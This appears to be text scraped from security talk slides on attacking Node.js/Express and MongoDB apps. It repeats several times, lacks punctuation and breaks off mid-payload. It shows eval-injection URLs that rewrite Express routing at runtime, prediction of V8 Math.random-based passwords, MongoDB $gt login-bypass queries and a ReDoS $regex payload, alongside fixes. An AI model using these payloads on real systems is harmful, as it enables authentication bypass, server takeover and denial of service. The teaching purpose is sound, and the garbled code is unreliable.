The stack is accessible in runtime ndash both read and
write ndash so we will replace the existing routing with
a new one
This will affect all users connecting to the system
with no apparent effect on the source code
Server Routing
Maintained in an ordered list (although called
ldquostackrdquo by express)
Routing Stack
Remove
pageid
abd
Func1()
Func2()
Func3()
Func4()
Add Add
Func5()
Server Routing
app_routerstacksplice(31) remove routing entry
appget(addfunction(req res) add new routing
return resrender(index
message reqquerya reqqueryb
)
)
Server Routing
httplocalhost49090adda=3ampb=8
httplocalhost49090adda=3ampb=app_routerstacksplice
(31)appget(27add2720function(req20res)20
7breturn20resrender(27index27207bmessag
e20reqquerya2020reqqueryb7d)7d)
httplocalhost49090adda=3ampb=8
Questions
Nodejs as a web server
var http = require(http)
var server = httpcreateServer(function(req res)
switch (reqmethod)
case POST
var item =
reqon(data function(chunk)
item += chunk
)
reqon(end function()
resend(OKn)
)
break
case GET
)
serverlisten(3000)
V8rsquos default PRNG
V8rsquos default PRNG
V8 PRNG is known to be weak
For example check Amit Kleinrsquos
httpdlpacketstormsecuritynetpapersgeneralGoogle_Chrome_30_Beta_Mathr
andom_vulnerabilitypdf
Seed State0[01]
State1[01]
State2[01]
State3[01]
Staten[01]
Random0
Random1
Random2
Randomn
Random3
V8rsquos default PRNG
Given 3 ldquorandomrdquo new passwords ndash we will be able to tell all future ones
First we need to ldquoreverserdquo the MD5 for 3 passwords to their original ldquorandomrdquo float
number Then we need to compute the ldquostaterdquo variable to get the 4th consecutive
value
V8rsquos default PRNG
The parameters of the algorithm are modified by Google every few releases but the
algorithm looks similar to the following (the actual value is then divided by 2^32)
httpscodegooglecompv8sourcebrowsetags31459srcv8ccr=14773
Random number generator using George Marsaglias MWC algorithm
static uint32_t random_base(uint32_t state)
Initialize seed using the system random()
No non-zero seed will ever become zero again
if (state[0] == 0) seed_random(state)
Mix the bits Never replaces state[i] with 0 if it is nonzero
state[0] = 18273 (state[0] amp 0xFFFF) + (state[0] gtgt 16)
state[1] = 36969 (state[1] amp 0xFFFF) + (state[1] gtgt 16)
return (state[0] ltlt 14) + (state[1] amp 0x3FFFF)
V8rsquos default PRNG
Given 3 consecutive random numbers the values of state[0] and state[1] can be
inferred ndash hence all future values can be known in advance
But
In browsers each tab has its own set of ldquostaterdquo variables Thatrsquos one of the reasons
this issue is treated as low-severity
But
In nodejs all users are running within the same context Each user can tell what
are the values of the global ldquostaterdquo variables
Step 1
Register FakeUser1
Register FakeUser2
Register FakeUser3
FakeUser1 Password
FakeUser2 Password
FakeUser3 Password
Reminder
Password = MD5(random())
Step2
Register FakeUser1
Register FakeUser2
Register FakeUser3
FakeUser1 Password
FakeUser2 Password
FakeUser3 Password
Reminder
Password = MD5(random())
Step2
FakeUser1 ndash Clear Random
FakeUser1 Password
FakeUser2 Password
FakeUser3 Password
Reminder
Password = MD5(random())
FakeUser2 ndash Clear Random
FakeUser3 ndash Clear Random
Step2
FakeUser1 ndash Clear Random
FakeUser1 Password
FakeUser2 Password
FakeUser3 Password
Reminder
Password = MD5(random())
FakeUser2 ndash Clear Random
FakeUser3 ndash Clear Random
RealUser1 ndash Future Password
DEMO
Architecture
MongoDB is a document-oriented database Classified as
NoSQL and as such doesnrsquot use the traditional table-bases
structure as relational-databases Instead it stores JSON
documents in its dynamic schemas
bull httpblogwebsecurifycom201408hacking-nodejs-and-mongodbhtml
Architecture
dbproductsinsert( item card qty 15 )
dbproductsinsert( name ldquoelephant size 1700 )
dbproductsinsert
dbproductsfind
dbproductsfind() - Find all of them
dbproductsfind( qty 15 ) - Find based on equality
dbproductsfind( qty $gt 25 ) - Find based on criteria
Data is inserted and stored as JSON
Queries as described using JSON
var obj
objqty=15
dbproductsfind(obj)
name = reqqueryusername
pass = reqquerypassword
dbusersfind(username name password pass)
hellip
If exists hellip
Security ndash User Supplied Data bull Can you spot the vulnerabilities in the
code
bull Fix
25
QueryString -gt Object -gt JSON
reswrite(JSONstringify(reqquery))
Query String Reqquery JSON of the object
created
httplocalhost11111a=b
Obja = ldquobrdquo ab
httplocalhost11111a=bampc=d
Obja = ldquobrdquo
Objc = ldquodrdquo
abcd
httplocalhost11111a=bampc=dampa=z Obja[] = ldquobrdquo ldquozrdquo
Objc = ldquodrdquo
a[bz]cd
httplocalhost11111a[5]=bampc=d Obja[] = ldquobrdquo
Objc = ldquodrdquo
a[b]cd
httplocalhost11111a[s]=bampc=d
Objas = ldquobrdquo
Objc = ldquodrdquo
asbcd
QSServerjs
name = reqqueryusername
pass = reqquerypassword
dbusersfind(username name password pass)
Security ndash User Supplied Data
27
What if we use the following query
dbusersfind(username $gt ldquoardquo
password $gt ldquoardquo
Security ndash User Supplied Data
28
dbusersfind(user $gt ldquoardquo
pass $gt ldquoardquo
httpserverpageuser[$gt]=aamppass[$gt]=a
Instead of
objuser = ldquoMatyrdquo
objpass = ldquo123rdquo
We can use
Objuser$gt=ldquoardquo
Objpass$gt=ldquoardquo
JSON-base SQL Injection
bull NodeJS being a JSON based language
can accept JSON values for the find
method
bull A user can bypass it by sending
29
bull httpblogwebsecurifycom201408hacking-nodejs-and-mongodbhtml
httpserverpageuser[$gt]=aamppass[$gt]=a
DEMO
httplocalhost49090user=hiamppass=bye
JSON-base SQL Injection
bull You can use the following
Then
31
dbusersfind(username username)
bcryptcompare(candidatePassword password cb)
Title
JSON-base SQL Injection
bull This can lead to Regular Expression Denial of Service through
the ldquousernamerdquo ldquo$regexrdquo ldquohelliphellip
bull So always validate the input length structure and permitted
characters
bull Remembering that Nodejs is highly sensitive to CPU-intensive
tasks and therersquos a single thread for user-code ndash ReDoS is really
bad
33
dbusersfind(username username)
DEMO
httplocalhost49090user=adminamppass[$regex]=^(a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|
a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|
a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|
a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|
a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|
a|a|a|a|a|a|a|a|a|a)(d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d
|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|
d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|
d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|
d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|
d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|
d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|
d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d)$
httplocalhost49090user[$gt]=amppass[$gt]=
Web server
Recap ndash in Nodejs there is no web server
Traditional web-servers (IIS Tomcat) had strict
separation between the application the server and the
OS
Run-time Server Poisoning
ldquoIn most web servers every request spawns a new
child process and everything happening within that
process is terminated when the process ends
However since the whole Nodejs server is running in
a single thread then if this thread is corrupted then
the behavior of the server can be altered
These modifications will not last just for the duration of
the corrupting request but for all subsequent
requestsrdquo
httplabcsttueedl93 -
Analysis of Nodejs platform web application security
Karl Duumluumlna
Eval
EVALuates a string At the context of the current applicative
user within the context of the application
In netjava eval canrsquot control the web server or other usersrsquo
threads
Nodejs is serverless so corrupting ldquocurrentrdquo thread harms
all users
Express
Expressjs is a Nodejs web application framework
designed for building single-page multi-page and hybrid
web applications[1]
wikipedia
Example code
appget(add function(reqres) var data=reqquery return resrender(index message eval(reqquerya + + + reqqueryb))
httpserveradda=3ampb=8
11
Routing
httplocalhost49090adda=3ampb=8
Server Routing
Maintained in an ordered list (although called
ldquostackrdquo by express)
Routing Stack
Add
Remove
pageid
abd
Func1()
Func2()
Func3()
Func4()
Server Routing
The stack is accessible in runtime
app_routerstack
httplocalhost49090adda=3ampb=JSONstringify(
app_routerstack)
Run-time Server Poisoning
The stack is accessible in runtime ndash both read and
write ndash so we will replace the existing routing with
a new one
This will affect all users connecting to the system
with no apparent effect on the source code
Server Routing
Maintained in an ordered list (although called
ldquostackrdquo by express)
Routing Stack
Remove
pageid
abd
Func1()
Func2()
Func3()
Func4()
Add Add
Func5()
Server Routing
app_routerstacksplice(31) remove routing entry
appget(addfunction(req res) add new routing
return resrender(index
message reqquerya reqqueryb
)
)
Server Routing
httplocalhost49090adda=3ampb=8
httplocalhost49090adda=3ampb=app_routerstacksplice
(31)appget(27add2720function(req20res)20
7breturn20resrender(27index27207bmessag
e20reqquerya2020reqqueryb7d)7d)
httplocalhost49090adda=3ampb=8
Questions
V8rsquos default PRNG
V8rsquos default PRNG
V8 PRNG is known to be weak
For example check Amit Kleinrsquos
httpdlpacketstormsecuritynetpapersgeneralGoogle_Chrome_30_Beta_Mathr
andom_vulnerabilitypdf
Seed State0[01]
State1[01]
State2[01]
State3[01]
Staten[01]
Random0
Random1
Random2
Randomn
Random3
V8rsquos default PRNG
Given 3 ldquorandomrdquo new passwords ndash we will be able to tell all future ones
First we need to ldquoreverserdquo the MD5 for 3 passwords to their original ldquorandomrdquo float
number Then we need to compute the ldquostaterdquo variable to get the 4th consecutive
value
V8rsquos default PRNG
The parameters of the algorithm are modified by Google every few releases but the
algorithm looks similar to the following (the actual value is then divided by 2^32)
httpscodegooglecompv8sourcebrowsetags31459srcv8ccr=14773
Random number generator using George Marsaglias MWC algorithm
static uint32_t random_base(uint32_t state)
Initialize seed using the system random()
No non-zero seed will ever become zero again
if (state[0] == 0) seed_random(state)
Mix the bits Never replaces state[i] with 0 if it is nonzero
state[0] = 18273 (state[0] amp 0xFFFF) + (state[0] gtgt 16)
state[1] = 36969 (state[1] amp 0xFFFF) + (state[1] gtgt 16)
return (state[0] ltlt 14) + (state[1] amp 0x3FFFF)
V8rsquos default PRNG
Given 3 consecutive random numbers the values of state[0] and state[1] can be
inferred ndash hence all future values can be known in advance
But
In browsers each tab has its own set of ldquostaterdquo variables Thatrsquos one of the reasons
this issue is treated as low-severity
But
In nodejs all users are running within the same context Each user can tell what
are the values of the global ldquostaterdquo variables
Step 1
Register FakeUser1
Register FakeUser2
Register FakeUser3
FakeUser1 Password
FakeUser2 Password
FakeUser3 Password
Reminder
Password = MD5(random())
Step2
Register FakeUser1
Register FakeUser2
Register FakeUser3
FakeUser1 Password
FakeUser2 Password
FakeUser3 Password
Reminder
Password = MD5(random())
Step2
FakeUser1 ndash Clear Random
FakeUser1 Password
FakeUser2 Password
FakeUser3 Password
Reminder
Password = MD5(random())
FakeUser2 ndash Clear Random
FakeUser3 ndash Clear Random
Step2
FakeUser1 ndash Clear Random
FakeUser1 Password
FakeUser2 Password
FakeUser3 Password
Reminder
Password = MD5(random())
FakeUser2 ndash Clear Random
FakeUser3 ndash Clear Random
RealUser1 ndash Future Password
DEMO
Architecture
MongoDB is a document-oriented database Classified as
NoSQL and as such doesnrsquot use the traditional table-bases
structure as relational-databases Instead it stores JSON
documents in its dynamic schemas
bull httpblogwebsecurifycom201408hacking-nodejs-and-mongodbhtml
Architecture
dbproductsinsert( item card qty 15 )
dbproductsinsert( name ldquoelephant size 1700 )
dbproductsinsert
dbproductsfind
dbproductsfind() - Find all of them
dbproductsfind( qty 15 ) - Find based on equality
dbproductsfind( qty $gt 25 ) - Find based on criteria
Data is inserted and stored as JSON
Queries as described using JSON
var obj
objqty=15
dbproductsfind(obj)
name = reqqueryusername
pass = reqquerypassword
dbusersfind(username name password pass)
hellip
If exists hellip
Security ndash User Supplied Data bull Can you spot the vulnerabilities in the
code
bull Fix
25
QueryString -gt Object -gt JSON
reswrite(JSONstringify(reqquery))
Query String Reqquery JSON of the object
created
httplocalhost11111a=b
Obja = ldquobrdquo ab
httplocalhost11111a=bampc=d
Obja = ldquobrdquo
Objc = ldquodrdquo
abcd
httplocalhost11111a=bampc=dampa=z Obja[] = ldquobrdquo ldquozrdquo
Objc = ldquodrdquo
a[bz]cd
httplocalhost11111a[5]=bampc=d Obja[] = ldquobrdquo
Objc = ldquodrdquo
a[b]cd
httplocalhost11111a[s]=bampc=d
Objas = ldquobrdquo
Objc = ldquodrdquo
asbcd
QSServerjs
name = reqqueryusername
pass = reqquerypassword
dbusersfind(username name password pass)
Security ndash User Supplied Data
27
What if we use the following query
dbusersfind(username $gt ldquoardquo
password $gt ldquoardquo
Security ndash User Supplied Data
28
dbusersfind(user $gt ldquoardquo
pass $gt ldquoardquo
httpserverpageuser[$gt]=aamppass[$gt]=a
Instead of
objuser = ldquoMatyrdquo
objpass = ldquo123rdquo
We can use
Objuser$gt=ldquoardquo
Objpass$gt=ldquoardquo
JSON-base SQL Injection
bull NodeJS being a JSON based language
can accept JSON values for the find
method
bull A user can bypass it by sending
29
bull httpblogwebsecurifycom201408hacking-nodejs-and-mongodbhtml
httpserverpageuser[$gt]=aamppass[$gt]=a
DEMO
httplocalhost49090user=hiamppass=bye
JSON-base SQL Injection
bull You can use the following
Then
31
dbusersfind(username username)
bcryptcompare(candidatePassword password cb)
Title
JSON-base SQL Injection
bull This can lead to Regular Expression Denial of Service through
the ldquousernamerdquo ldquo$regexrdquo ldquohelliphellip
bull So always validate the input length structure and permitted
characters
bull Remembering that Nodejs is highly sensitive to CPU-intensive
tasks and therersquos a single thread for user-code ndash ReDoS is really
bad
33
dbusersfind(username username)
DEMO
httplocalhost49090user=adminamppass[$regex]=^(a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|
a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|
a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|
a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|
a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|
a|a|a|a|a|a|a|a|a|a)(d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d
|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|
d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|
d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|
d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|
d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|
d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|
d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d)$
httplocalhost49090user[$gt]=amppass[$gt]=
Web server
Recap ndash in Nodejs there is no web server
Traditional web-servers (IIS Tomcat) had strict
separation between the application the server and the
OS
Run-time Server Poisoning
ldquoIn most web servers every request spawns a new
child process and everything happening within that
process is terminated when the process ends
However since the whole Nodejs server is running in
a single thread then if this thread is corrupted then
the behavior of the server can be altered
These modifications will not last just for the duration of
the corrupting request but for all subsequent
requestsrdquo
httplabcsttueedl93 -
Analysis of Nodejs platform web application security
Karl Duumluumlna
Eval
EVALuates a string At the context of the current applicative
user within the context of the application
In netjava eval canrsquot control the web server or other usersrsquo
threads
Nodejs is serverless so corrupting ldquocurrentrdquo thread harms
all users
Express
Expressjs is a Nodejs web application framework
designed for building single-page multi-page and hybrid
web applications[1]
wikipedia
Example code
appget(add function(reqres) var data=reqquery return resrender(index message eval(reqquerya + + + reqqueryb))
httpserveradda=3ampb=8
11
Routing
httplocalhost49090adda=3ampb=8
Server Routing
Maintained in an ordered list (although called
ldquostackrdquo by express)
Routing Stack
Add
Remove
pageid
abd
Func1()
Func2()
Func3()
Func4()
Server Routing
The stack is accessible in runtime
app_routerstack
httplocalhost49090adda=3ampb=JSONstringify(
app_routerstack)
Run-time Server Poisoning
The stack is accessible in runtime ndash both read and
write ndash so we will replace the existing routing with
a new one
This will affect all users connecting to the system
with no apparent effect on the source code
Server Routing
Maintained in an ordered list (although called
ldquostackrdquo by express)
Routing Stack
Remove
pageid
abd
Func1()
Func2()
Func3()
Func4()
Add Add
Func5()
Server Routing
app_routerstacksplice(31) remove routing entry
appget(addfunction(req res) add new routing
return resrender(index
message reqquerya reqqueryb
)
)
Server Routing
httplocalhost49090adda=3ampb=8
httplocalhost49090adda=3ampb=app_routerstacksplice
(31)appget(27add2720function(req20res)20
7breturn20resrender(27index27207bmessag
e20reqquerya2020reqqueryb7d)7d)
httplocalhost49090adda=3ampb=8
Questions
V8rsquos default PRNG
V8 PRNG is known to be weak
For example check Amit Kleinrsquos
httpdlpacketstormsecuritynetpapersgeneralGoogle_Chrome_30_Beta_Mathr
andom_vulnerabilitypdf
Seed State0[01]
State1[01]
State2[01]
State3[01]
Staten[01]
Random0
Random1
Random2
Randomn
Random3
V8rsquos default PRNG
Given 3 ldquorandomrdquo new passwords ndash we will be able to tell all future ones
First we need to ldquoreverserdquo the MD5 for 3 passwords to their original ldquorandomrdquo float
number Then we need to compute the ldquostaterdquo variable to get the 4th consecutive
value
V8rsquos default PRNG
The parameters of the algorithm are modified by Google every few releases but the
algorithm looks similar to the following (the actual value is then divided by 2^32)
httpscodegooglecompv8sourcebrowsetags31459srcv8ccr=14773
Random number generator using George Marsaglias MWC algorithm
static uint32_t random_base(uint32_t state)
Initialize seed using the system random()
No non-zero seed will ever become zero again
if (state[0] == 0) seed_random(state)
Mix the bits Never replaces state[i] with 0 if it is nonzero
state[0] = 18273 (state[0] amp 0xFFFF) + (state[0] gtgt 16)
state[1] = 36969 (state[1] amp 0xFFFF) + (state[1] gtgt 16)
return (state[0] ltlt 14) + (state[1] amp 0x3FFFF)
V8rsquos default PRNG
Given 3 consecutive random numbers the values of state[0] and state[1] can be
inferred ndash hence all future values can be known in advance
But
In browsers each tab has its own set of ldquostaterdquo variables Thatrsquos one of the reasons
this issue is treated as low-severity
But
In nodejs all users are running within the same context Each user can tell what
are the values of the global ldquostaterdquo variables
Step 1
Register FakeUser1
Register FakeUser2
Register FakeUser3
FakeUser1 Password
FakeUser2 Password
FakeUser3 Password
Reminder
Password = MD5(random())
Step2
Register FakeUser1
Register FakeUser2
Register FakeUser3
FakeUser1 Password
FakeUser2 Password
FakeUser3 Password
Reminder
Password = MD5(random())
Step2
FakeUser1 ndash Clear Random
FakeUser1 Password
FakeUser2 Password
FakeUser3 Password
Reminder
Password = MD5(random())
FakeUser2 ndash Clear Random
FakeUser3 ndash Clear Random
Step2
FakeUser1 ndash Clear Random
FakeUser1 Password
FakeUser2 Password
FakeUser3 Password
Reminder
Password = MD5(random())
FakeUser2 ndash Clear Random
FakeUser3 ndash Clear Random
RealUser1 ndash Future Password
DEMO
Architecture
MongoDB is a document-oriented database Classified as
NoSQL and as such doesnrsquot use the traditional table-bases
structure as relational-databases Instead it stores JSON
documents in its dynamic schemas
bull httpblogwebsecurifycom201408hacking-nodejs-and-mongodbhtml
Architecture
dbproductsinsert( item card qty 15 )
dbproductsinsert( name ldquoelephant size 1700 )
dbproductsinsert
dbproductsfind
dbproductsfind() - Find all of them
dbproductsfind( qty 15 ) - Find based on equality
dbproductsfind( qty $gt 25 ) - Find based on criteria
Data is inserted and stored as JSON
Queries as described using JSON
var obj
objqty=15
dbproductsfind(obj)
name = reqqueryusername
pass = reqquerypassword
dbusersfind(username name password pass)
hellip
If exists hellip
Security ndash User Supplied Data bull Can you spot the vulnerabilities in the
code
bull Fix
25
QueryString -gt Object -gt JSON
reswrite(JSONstringify(reqquery))
Query String Reqquery JSON of the object
created
httplocalhost11111a=b
Obja = ldquobrdquo ab
httplocalhost11111a=bampc=d
Obja = ldquobrdquo
Objc = ldquodrdquo
abcd
httplocalhost11111a=bampc=dampa=z Obja[] = ldquobrdquo ldquozrdquo
Objc = ldquodrdquo
a[bz]cd
httplocalhost11111a[5]=bampc=d Obja[] = ldquobrdquo
Objc = ldquodrdquo
a[b]cd
httplocalhost11111a[s]=bampc=d
Objas = ldquobrdquo
Objc = ldquodrdquo
asbcd
QSServerjs
name = reqqueryusername
pass = reqquerypassword
dbusersfind(username name password pass)
Security ndash User Supplied Data
27
What if we use the following query
dbusersfind(username $gt ldquoardquo
password $gt ldquoardquo
Security ndash User Supplied Data
28
dbusersfind(user $gt ldquoardquo
pass $gt ldquoardquo
httpserverpageuser[$gt]=aamppass[$gt]=a
Instead of
objuser = ldquoMatyrdquo
objpass = ldquo123rdquo
We can use
Objuser$gt=ldquoardquo
Objpass$gt=ldquoardquo
JSON-base SQL Injection
bull NodeJS being a JSON based language
can accept JSON values for the find
method
bull A user can bypass it by sending
29
bull httpblogwebsecurifycom201408hacking-nodejs-and-mongodbhtml
httpserverpageuser[$gt]=aamppass[$gt]=a
DEMO
httplocalhost49090user=hiamppass=bye
JSON-base SQL Injection
bull You can use the following
Then
31
dbusersfind(username username)
bcryptcompare(candidatePassword password cb)
Title
JSON-base SQL Injection
bull This can lead to Regular Expression Denial of Service through
the ldquousernamerdquo ldquo$regexrdquo ldquohelliphellip
bull So always validate the input length structure and permitted
characters
bull Remembering that Nodejs is highly sensitive to CPU-intensive
tasks and therersquos a single thread for user-code ndash ReDoS is really
bad
33
dbusersfind(username username)
DEMO
httplocalhost49090user=adminamppass[$regex]=^(a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|
